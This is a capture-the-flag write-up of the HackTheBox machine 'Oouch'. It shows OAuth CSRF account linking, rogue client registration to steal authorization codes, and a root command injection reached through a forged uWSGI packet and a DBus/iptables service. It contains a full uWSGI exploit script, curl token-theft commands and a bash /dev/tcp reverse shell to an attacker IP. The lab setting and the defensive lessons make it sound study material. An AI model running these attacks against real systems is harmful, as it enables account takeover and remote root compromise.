HTB: Oouch Writeup
Oouch - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Oouch |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 27 June 2020 |
| IP Address | 10.129.29.195 |
| Author | qtc |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Oouch is a hard difficulty Linux machine that demonstrates exploitation of OAuth 2.0 authorization flows through CSRF vulnerabilities and token abuse. The initial foothold requires understanding the OAuth framework, exploiting missing CSRF protection to link an administrative account, registering a malicious OAuth client application, and stealing authorization codes to obtain SSH credentials. Privilege escalation involves pivoting through Docker containers, exploiting a misconfigured DBus interface accessible via the www-data user, and leveraging direct access to a uWSGI socket to inject commands into an iptables-based intrusion prevention system running as root.
TL;DR: FTP enumeration → OAuth consumer/authorization server identification → CSRF to link admin account → leaked dev credentials → malicious OAuth client registration → authorization code theft via CSRF → access token exchange → SSH key retrieval → qtc shell → pivot to Flask container → uWSGI socket manipulation → DBus command injection → root shell.
Reconnaissance
Port Scanning
# Quick port discoverynmap -p- --min-rate=1000 -T4 10.129.29.195
# Detailed scan on discovered portsnmap -p 21,22,5000,8000 -sC -sV -T4 10.129.29.195Results:
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 2.0.8 or later| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-r--r-- 1 ftp ftp 49 Feb 11 2020 project.txt22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)5000/tcp open http nginx 1.14.2|_http-title: Consumer8000/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)|_http-title: Authorization ServerService Enumeration
FTP (Port 21)
Anonymous login enabled. Retrieved project.txt:
ftp 10.129.29.195# Username: anonymous# Password: <blank>
ftp> ls-rw-r--r-- 1 ftp ftp 49 Feb 11 2020 project.txt
ftp> get project.txtContents of project.txt:
Flask -> ConsumerDjango -> Authorization ServerThis indicates an OAuth 2.0 implementation where:
- Flask (port 5000) hosts the consumer application (OAuth client)
- Django (port 8000) hosts the authorization server
HTTP Services
Port 5000 (Flask Consumer):
- Registration and login functionality
- Profile page showing connected OAuth account
/documentsendpoint restricted to administrators/contactpage for messaging administrators (XSS filtering present)/oauth/connectand/oauth/loginendpoints for OAuth flow
Port 8000 (Django Authorization Server):
- User registration with optional SSH credential fields
- OAuth authorization endpoints (
/oauth/authorize,/oauth/token) - API endpoints for resource access
Vulnerability Assessment
- Missing CSRF Protection: The OAuth authorization flow lacks CSRF tokens, allowing authorization codes to be linked to arbitrary accounts
- GET-based Authorization: The
/oauth/authorizeendpoint accepts GET requests without CSRF validation - Insecure DBus Configuration: The
htb.oouch.BlockDBus service allows www-data to send messages to a root-owned interface - Command Injection in IPS: User-controlled
REMOTE_ADDRpassed to iptables without sanitization - World-writable uWSGI Socket: The Flask container’s
/tmp/uwsgi.socket(chmod 777) allows direct protocol manipulation
Initial Foothold
OAuth Framework Analysis
OAuth 2.0 defines four roles:
- Resource Owner: End user who owns the account
- Client (Consumer): Third-party application requesting access
- Resource Server: Hosts protected resources
- Authorization Server: Issues access tokens after successful authorization
The attack chain exploits the trust relationship between these components.
Step 1: Account Registration
Registered accounts on both services:
# On Flask consumer (port 5000)# Registered: test_oauth / password123
# On Django authorization server (port 8000)# Registered: test_oauth / password123Step 2: CSRF Exploitation to Link Admin Account
Why it works: The OAuth connection process (/oauth/connect/token) accepts authorization codes without CSRF validation. By tricking the admin into authorizing our malicious request, we can link their account to ours.
# 1. Initiate OAuth flow and capture authorization code# Authorize the connection# Intercept the redirect containing the code parameter
# 2. Copy the callback URL with the code# Example format: http://consumer.oouch.htb:5000/oauth/connect/token?code=<CODE>
# 3. Submit via /contact page to trigger admin click# The admin bot follows the link, connecting their qtc account to our test_oauth accountAfter waiting approximately 2 minutes, logging in via /oauth/login grants access as the qtc administrative user.
Step 3: Accessing Restricted Documents
Once logged in as qtc through OAuth, the /documents page revealed:
- Developer credentials:
develop:supermegasecureklarabubu123! - Application registration endpoint:
/oauth/applications/register/ - Note about SSH key storage: Indicates the resource server stores SSH credentials
- GET support on /oauth/authorize: Simplifies CSRF exploitation
Step 4: Registering a Malicious OAuth Client
Accessed the Django authorization server with HTTP Basic authentication:
# Credentials: develop:supermegasecureklarabubu123!Registered a new public OAuth client application:
- Name: htbapp
- Client ID:
0xH2EfvRNGCu1nSqYI6GbBwSBbttgPjI9PjQnZL3(auto-generated) - Client Secret:
E1Tn47WTQ7Leei0GDy8ZbVCnrmZ0XDnr0dmljLyakrq8MboibMUqDcgFsUva457GbWUJqPFUErRNpmleX4nbMJsui4uZCEVI4fMHrkhyvi0rKSvgWZ9tB4825VFaeP1e - Redirect URI:
http://10.10.15.180:8080/auth - Authorization Grant Type: authorization-code
- Client Type: Public
Why this works: OAuth allows developers to register their own client applications. By registering our own client with a redirect URI under our control, we can capture authorization codes issued to the admin.
Step 5: Stealing Admin Authorization Code
Constructed a CSRF-friendly GET request to force admin authorization:
# Start listener on our redirect URInc -lvnp 8080
# Crafted URL (CSRF token removed):http://authorization.oouch.htb:8000/oauth/authorize/?client_id=0xH2EfvRNGCu1nSqYI6GbBwSBbttgPjI9PjQnZL3&response_type=code&scope=read&redirect_uri=http://10.10.15.180:8080/auth&allow=Authorize
# Submit via /contact page# The qtc admin bot follows the link and authorizes our applicationKey insight: The /oauth/authorize endpoint accepts GET requests and does not validate CSRF tokens when the allow=Authorize parameter is present. This forces automatic authorization without user interaction.
Received callback with admin authorization code:
GET /auth?code=VpYQsI7TvLPt1KdSQoA8PLRfMo2rau&state= HTTP/1.1Host: 10.10.15.180:8080Step 6: Exchanging Code for Access Token
# Exchange authorization code for access tokencurl -X POST \ -d "grant_type=authorization_code" \ -d "client_id=0xH2EfvRNGCu1nSqYI6GbBwSBbttgPjI9PjQnZL3" \ -d "client_secret=E1Tn47WTQ7Leei0GDy8ZbVCnrmZ0XDnr0dmljLyakrq8MboibMUqDcgFsUva457GbWUJqPFUErRNpmleX4nbMJsui4uZCEVI4fMHrkhyvi0rKSvgWZ9tB4825VFaeP1e" \ -d "code=VpYQsI7TvLPt1KdSQoA8PLRfMo2rau" \ http://authorization.oouch.htb:8000/oauth/token/Response:
{ "access_token": "cnu69AJrAMdhIHniwFIQSNwD9acOMC", "expires_in": 600, "token_type": "Bearer", "scope": "read", "refresh_token": "fc3pieJuyY9FLgc4xt6LIruE2bzIjZ"}Step 7: Retrieving SSH Credentials
# Access protected API endpoint with bearer tokencurl -H 'Authorization: Bearer cnu69AJrAMdhIHniwFIQSNwD9acOMC' \ http://authorization.oouch.htb:8000/api/get_user
# Discovered /api/get_ssh endpoint through educated guessingcurl -H 'Authorization: Bearer cnu69AJrAMdhIHniwFIQSNwD9acOMC' \ http://authorization.oouch.htb:8000/api/get_sshResponse contained qtc’s SSH private key:
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn[... full key retrieved ...]-----END OPENSSH PRIVATE KEY-----Step 8: SSH Access as qtc
# Save private keycat > qtc_id_rsa << 'EOF'-----BEGIN OPENSSH PRIVATE KEY-----[key content]-----END OPENSSH PRIVATE KEY-----EOF
chmod 600 qtc_id_rsa
# SSH into the hostssh -i qtc_id_rsa qtc@10.129.29.195
qtc@oouch:~$ iduid=1000(qtc) gid=1000(qtc) groups=1000(qtc)
qtc@oouch:~$ cat user.txt<redacted>Privilege Escalation
Step 9: Enumeration as qtc
Discovered Docker containers running Flask and Django:
qtc@oouch:~$ ps aux | grep docker# Flask consumer: 172.18.0.4# Django authorization server: 172.18.0.2
qtc@oouch:~$ cat .note.txtContents of .note.txt:
Implementing an IPS using DBus and iptablesThis indicates a custom intrusion prevention system using:
- DBus: Inter-process communication system
- iptables: Firewall rule management
Step 10: DBus Configuration Analysis
qtc@oouch:~$ ls -la /etc/dbus-1/system.d/-rw-r--r-- 1 root root 433 Feb 11 2020 htb.oouch.Block.conf
qtc@oouch:~$ cat /etc/dbus-1/system.d/htb.oouch.Block.confConfiguration:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig> <policy user="root"> <allow own="htb.oouch.Block"/> </policy> <policy user="www-data"> <allow send_destination="htb.oouch.Block"/> <allow receive_sender="htb.oouch.Block"/> </policy></busconfig>Key findings:
- The
htb.oouch.Blockservice is owned by root - The www-data user can send messages to this service
- To exploit this, we need access as www-data
Step 11: Pivot to Flask Container
qtc@oouch:~$ ls -la .ssh/-rw------- 1 qtc qtc 2602 Feb 11 2020 id_rsa-rw-r--r-- 1 qtc qtc 564 Feb 11 2020 id_rsa.pub
# Check if SSH is available on Docker containersqtc@oouch:~$ (echo > /dev/tcp/172.18.0.2/22) 2>/dev/null && echo "SSH open" || echo "SSH closed"SSH closed
qtc@oouch:~$ (echo > /dev/tcp/172.18.0.4/22) 2>/dev/null && echo "SSH open" || echo "SSH closed"SSH open
# SSH to Flask containerqtc@oouch:~$ ssh -i .ssh/id_rsa qtc@172.18.0.4
qtc@aeb4525789d8:~$ iduid=1000(qtc) gid=1000(qtc) groups=1000(qtc)Step 12: uWSGI Socket Discovery
qtc@aeb4525789d8:~$ cd /codeqtc@aeb4525789d8:/code$ ls -ladrwxr-xr-x 6 root root 4096 Feb 25 2020 .drwxr-xr-x 1 root root 4096 Jun 27 2020 ..-rw-r--r-- 1 root root 108 Feb 11 2020 Dockerfile-rw-r--r-- 1 root root 163 Feb 11 2020 config.py-rw-r--r-- 1 root root 116 Feb 11 2020 nginx.confdrwxr-xr-x 5 root root 4096 Feb 11 2020 oouch-rw-r--r-- 1 root root 57 Feb 11 2020 requirements.txt-rw-r--r-- 1 root root 241 Feb 11 2020 uwsgi.inidrwxr-xr-x 6 root root 4096 Feb 11 2020 venv
qtc@aeb4525789d8:/code$ cat uwsgi.iniuWSGI Configuration:
[uwsgi]module = oouch:appuid = www-datagid = www-datamaster = trueprocesses = 10socket = /tmp/uwsgi.socketchmod-sock = 777vacuum = truedie-on-term = trueCritical finding: The socket at /tmp/uwsgi.socket runs as www-data with 777 permissions, allowing any user to interact with it directly.
qtc@aeb4525789d8:/code$ ls -la /tmp/uwsgi.socketsrwxrwxrwx 1 www-data www-data 0 [date] /tmp/uwsgi.socketStep 13: Application Code Analysis
qtc@aeb4525789d8:/code$ cat oouch/routes.py | grep -A 20 "def contact"Relevant code snippet:
@app.route('/contact', methods=['GET', 'POST'])@login_requireddef contact(): form = ContactForm() if form.validate_on_submit(): # XSS filter if primitive_xss.search(form.textfield.data): bus = dbus.SystemBus() block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) response = block_iface.Block(client_ip) bus.close() return render_template('hacker.html', title='Hacker')Attack vector identified:
- The
/contactendpoint detects XSS payloads - Upon detection, it retrieves
REMOTE_ADDRfrom the request environment - This IP is sent to the host’s DBus
htb.oouch.Blockservice - The service likely executes:
iptables -A INPUT -s <REMOTE_ADDR> -j DROP - If
REMOTE_ADDRis not sanitized, we can inject commands:; <cmd>; #
Step 14: Creating uWSGI Communication Script
uWSGI uses a binary protocol, not HTTP. We need to craft proper uWSGI packets to communicate with the socket.
#!/usr/bin/env python3# Based on uwsgi-tools protocol implementation
import socketimport sys
def pack_uwsgi_vars(var): """Pack WSGI environment variables into uWSGI binary format""" # uWSGI packet structure: modifier1 (1 byte) + datasize (2 bytes) + modifier2 (1 byte) + data pk = b'' for k, v in var.items(): pk += (len(k).to_bytes(2, 'little') + k.encode('utf-8') + len(v).to_bytes(2, 'little') + v.encode('utf-8'))
# Packet header: modifier1=0, datasize=len(pk), modifier2=0 header = b'\x00' + len(pk).to_bytes(2, 'little') + b'\x00' return header + pk
def send_payload(uwsgi_vars, body=''): """Send crafted packet to uWSGI socket""" packet = pack_uwsgi_vars(uwsgi_vars) if body: packet += body.encode('utf-8')
# Connect to Unix socket s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect('/tmp/uwsgi.socket') s.send(packet)
# Receive response response = b'' while True: chunk = s.recv(4096) if not chunk: break response += chunk
s.close() return response.decode('utf-8', errors='ignore')
if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} '<command>'") sys.exit(1)
command = sys.argv[1]
# Forge POST request to /contact with XSS payload # Must include valid session cookie and CSRF token session_cookie = 'session=.eJyNjzFuwzAMRaiaA4KSZQUy6co2qFDEQQUSSVGnbiw5CnI3Su0Yzt0IgjB75_16cyY71I1eP7XavWh75KrXgWvdfPs2AVNS9nNd1UWxQS9aNql6mqz5550sfH_jf3IuepthXbtNzU6_YNlW3eqTeZabmKalKb2_0N_vpcd_NV6kXPbZ1k75NrEftg2R2lo1HZJMtZjRFIrmAYlwiGzK6MsAhQeLgM7jMYDOVEEFoKIIHm6IPxqLxjgL3oOPiwREgIaTMJkZfSEIWA4FFwEUDxchAzoSuT3Utp7Z8yK37pEEwogHKnLy3jiInIyWFIecDu4SRPRFQ57Yq608Jqx9fgv1_Aw.Xx6Kfg.wXIDfdnBXArj7_vHx7wcSj35ziI' csrf_token = 'Ijk4ZWE2YTAzY2JkOTQ0MTJjNmQ5MGVmOTU4YmI3ZDI5YTZkNGNjM2Mi.Xx7G7Q.5izVlt-cWW0OJfk1Wx7zy2zzoIU'
post_body = f'csrf_token={csrf_token}&textfield=<img+src%3dhttp%3a//10.10.15.180/>&submit=Send'
# Craft uWSGI environment variables uwsgi_vars = { 'SERVER_PROTOCOL': 'HTTP/1.1', 'REQUEST_METHOD': 'POST', 'PATH_INFO': '/contact', 'REQUEST_URI': '/contact', 'QUERY_STRING': '', 'SERVER_NAME': 'consumer.oouch.htb', 'SERVER_PORT': '5000', 'HTTP_HOST': 'consumer.oouch.htb:5000', 'HTTP_COOKIE': session_cookie, 'CONTENT_TYPE': 'application/x-www-form-urlencoded', 'CONTENT_LENGTH': str(len(post_body)), # Command injection via REMOTE_ADDR 'REMOTE_ADDR': f'; {command}; #', }
print(f"[*] Sending command: {command}") response = send_payload(uwsgi_vars, post_body) print("[+] Response received") print(response[:500]) # Print first 500 charsWhy this works:
- We bypass HTTP entirely and speak directly to uWSGI using its binary protocol
- We control all WSGI environment variables, including
REMOTE_ADDR - When the application reads
request.environ.get('REMOTE_ADDR'), it gets our injected value - The DBus service passes this to iptables without sanitization:
iptables -A INPUT -s ; <cmd>; # -j DROP - The semicolons execute our command, and
#comments out the rest
Step 15: Testing Command Injection
# Transfer exploit script to containerqtc@oouch:~$ scp -i .ssh/id_rsa uwsgi_exploit.py qtc@172.18.0.4:/tmp/
# SSH to containerqtc@oouch:~$ ssh -i .ssh/id_rsa qtc@172.18.0.4
# On the Flask container, test with a simple commandqtc@aeb4525789d8:~$ cd /tmpqtc@aeb4525789d8:/tmp$ python3 uwsgi_exploit.py 'touch /tmp/pwned_by_uwsgi'
# Back on the host, verify command executionqtc@oouch:~$ ls -la /tmp/pwned_by_uwsgi-rw-r--r-- 1 root root 0 [timestamp] /tmp/pwned_by_uwsgiSuccess! Commands injected via REMOTE_ADDR execute as root on the host through the DBus service.
Step 16: Root Shell
# On attack machine, start listenernc -lvnp 4444
# On Flask container, execute reverse shellqtc@aeb4525789d8:/tmp$ python3 uwsgi_exploit.py 'bash -c "bash -i >& /dev/tcp/10.10.15.180/4444 0>&1"'
# Receive root shell on attack machineroot@oouch:/root# iduid=0(root) gid=0(root) groups=0(root)
root@oouch:/root# cat /root/root.txt<redacted>Attack Chain Summary
FTP Anonymous Login (project.txt) → OAuth Architecture Discovery →Register Consumer + Authorization Accounts → CSRF OAuth Link (Admin → Our Account) →Access Restricted Documents → Discover Dev Credentials (develop:supermegasecureklarabubu123!) →Register Malicious OAuth Client (redirect to 10.10.15.180:8080) →CSRF Force-Authorize Admin (Steal Authorization Code) → Exchange Code for Access Token →API Call /api/get_ssh (Retrieve qtc SSH Key) → SSH as qtc →Enumerate Docker Containers + DBus Config → SSH to Flask Container (172.18.0.4) →uWSGI Socket Analysis (chmod 777, www-data) → Forge uWSGI Packets (REMOTE_ADDR Injection) →DBus Command Injection (htb.oouch.Block → iptables as root) → Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ftp | Anonymous FTP access for initial intelligence |
curl | OAuth token exchange and API interaction |
burpsuite | Intercepting OAuth flow and analyzing requests |
ssh | Remote access as qtc and container pivoting |
python3 | Custom uWSGI protocol exploitation script |
nc | Reverse shell listener |
pspy | Process monitoring to observe iptables execution |
Key Learnings
Techniques Practiced
- OAuth 2.0 Security Testing: Understanding authorization flows, identifying missing CSRF protection, and exploiting token-based authentication
- CSRF in Authorization Flows: Leveraging missing CSRF tokens to link administrative accounts and steal authorization codes
- API Enumeration: Discovering undocumented endpoints (
/api/get_ssh) through logical guessing - Docker Container Pivoting: Moving laterally from host to containerized services via SSH
- DBus Security Analysis: Understanding inter-process communication policies and identifying privilege escalation vectors
- uWSGI Protocol Exploitation: Crafting binary protocol packets to manipulate WSGI environment variables
- Command Injection in IPS Systems: Exploiting unsanitized user input in security tools (iptables wrapper)
Lessons Learned
-
OAuth CSRF is Critical: All state-changing OAuth operations (authorization, token exchange, account linking) must include CSRF tokens. The absence of CSRF protection in
/oauth/connect/tokenallowed complete account takeover through a simple URL click. -
GET Requests for Sensitive Operations: The
/oauth/authorizeendpoint accepting GET requests with auto-authorization (allow=Authorize) parameter creates a trivial CSRF vector. OAuth RFC recommends POST-only for authorization grants. -
Client Registration Controls: Allowing authenticated users to register OAuth clients with arbitrary redirect URIs enables authorization code theft. Production implementations should whitelist redirect domains or require admin approval.
-
DBus Policy Enforcement: DBus policies should follow least privilege. Allowing
www-datato send messages to a root-owned service that executes system commands is a critical misconfiguration. -
Input Sanitization in Security Tools: Security mechanisms (IPS, WAF, firewall wrappers) are attractive targets. The iptables wrapper passed user input directly to
system()without validation, turning a security control into a privilege escalation vector. -
Unix Socket Permissions: World-writable sockets (
chmod 777 /tmp/uwsgi.socket) allow complete protocol manipulation. Even if the socket runs as a low-privilege user, controlled environment variables can propagate to privileged services (via DBus in this case). -
Defense in Depth: The attack chain required combining multiple vulnerabilities: OAuth CSRF → credential disclosure → client registration → DBus misconfiguration → command injection. Each layer could have broken the chain if properly secured.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup by MinatoTW (Document No D20.100.82)
- OAuth 2.0 RFC 6749: https://tools.ietf.org/html/rfc6749
- Django OAuth Toolkit Documentation: https://django-oauth-toolkit.readthedocs.io/
- uWSGI Protocol Specification: https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html
- DBus Security Best Practices: https://www.freedesktop.org/wiki/IntroductionToDBus/